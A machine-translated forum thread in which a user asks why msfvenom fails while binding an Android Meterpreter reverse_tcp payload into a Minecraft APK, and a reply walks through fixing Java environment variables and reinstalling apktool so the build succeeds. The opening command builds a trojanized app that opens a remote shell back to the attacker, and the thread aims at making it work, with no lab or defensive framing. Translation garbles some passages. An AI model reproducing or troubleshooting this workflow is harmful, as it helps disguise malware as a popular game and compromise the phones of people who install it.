仔细阅读所有
嗨,我正在使用Kali 2.0,我喜欢调整它(很抱歉英语不好,但我是意大利人(。当我使用这个命令时:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
它给了我:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
我在所有论坛上搜索了好几个星期,但我没有找到解决方案。我重新安装了Kali,metasploit框架,jdk,apktool。什么也没发生。有什么办法吗?
我一直在努力,终于找到了解决方案。看起来问题出在apktool和java环境变量上(但在您的情况下,这可能只是一个问题(,我卸载了apktool&重新安装的java(jdk,jre(通过终端更改了版本,但没有任何效果。
第一期(_JAVA_OPTIONS(:
为了弄清楚这一点,我阅读了github上的一篇文章https://github.com/iBotPeaches/Apktool/issues/2325
要临时修复它,请在尝试使用msfvenom
:的同一终端窗口中运行以下命令
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
若要永久修复它,请将上述命令放在/root/.bashrc
中(必须选中"在视图中显示隐藏文件"选项卡(。
现在,上面的错误消息应该会消失,如果你的apktool有问题,它将显示无法用apktool重建apk。因此,要想弄清楚这一点,请阅读以下内容:
第二个问题(Apktool((无法使用Apktool重建apk(:
我发现有一个丢失的文件位于CCD_ 3中的apktool的。从中删除
apktool
文件(如果存在(。下载linux包装器脚本https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
从下载最新的apktoolhttps://bitbucket.org/iBotPeaches/apktool/downloads并将其重命名为
apktool.jar
现在将这两个文件(linux包装器脚本&apktool.jar(复制到
/user/local/bin
在终端中键入
apktool
并验证版本
p.S.对于那些无法执行第二个问题的步骤的人,请观看此修复程序https://youtu.be/vxs_fkUHnSw